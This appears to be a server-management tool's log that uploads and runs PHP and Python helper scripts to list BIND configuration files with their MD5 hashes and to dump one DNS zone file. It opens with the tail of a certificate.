dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-08-26 15:09:38: Establishing a remote connection
2025-08-26 15:09:43: Establishing a connection
2025-08-26 15:09:43: 

PUT: /tmp/pkp838079

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-08-26 15:09:44: 

runuser -l bind -s /bin/bash -c '/tmp/pkp838079; rm /tmp/pkp838079'

2025-08-26 15:09:44: 
2025-08-26 15:09:44: 

PUT: /tmp/pkp130478

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-26 15:09:44: 

chmod 755 /tmp/pkp130478; /tmp/pkp130478; rm /tmp/pkp130478

2025-08-26 15:09:44: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt	486
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
cityelectric.site.       		 IN    SOA      	cityelectric.site. hostmaster.cityelectric.site. ( 131244091 14400 3600 14400 3600 )
cityelectric.site.       		 IN    NS       	ns1.hostz.org.
cityelectric.site.       		 IN    NS       	ns2.hostz.org.
@                        		 IN    A        	10.140.12.86
_acme-challenge           60	 IN    TXT      	"mO2RC6k1xvw01x5red5tHwln3MAn1fsaayFEpUGjusA"






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-08-26 15:39:53: Establishing a connection
2025-08-26 15:43:04: Establishing a connection
2025-08-26 15:46:41: Establishing a connection
2025-08-26 15:46:41: 

PUT: /tmp/pkp360149

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-08-26 15:46:41: 

runuser -l bind -s /bin/bash -c '/tmp/pkp360149; rm /tmp/pkp360149'

2025-08-26 15:46:42: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
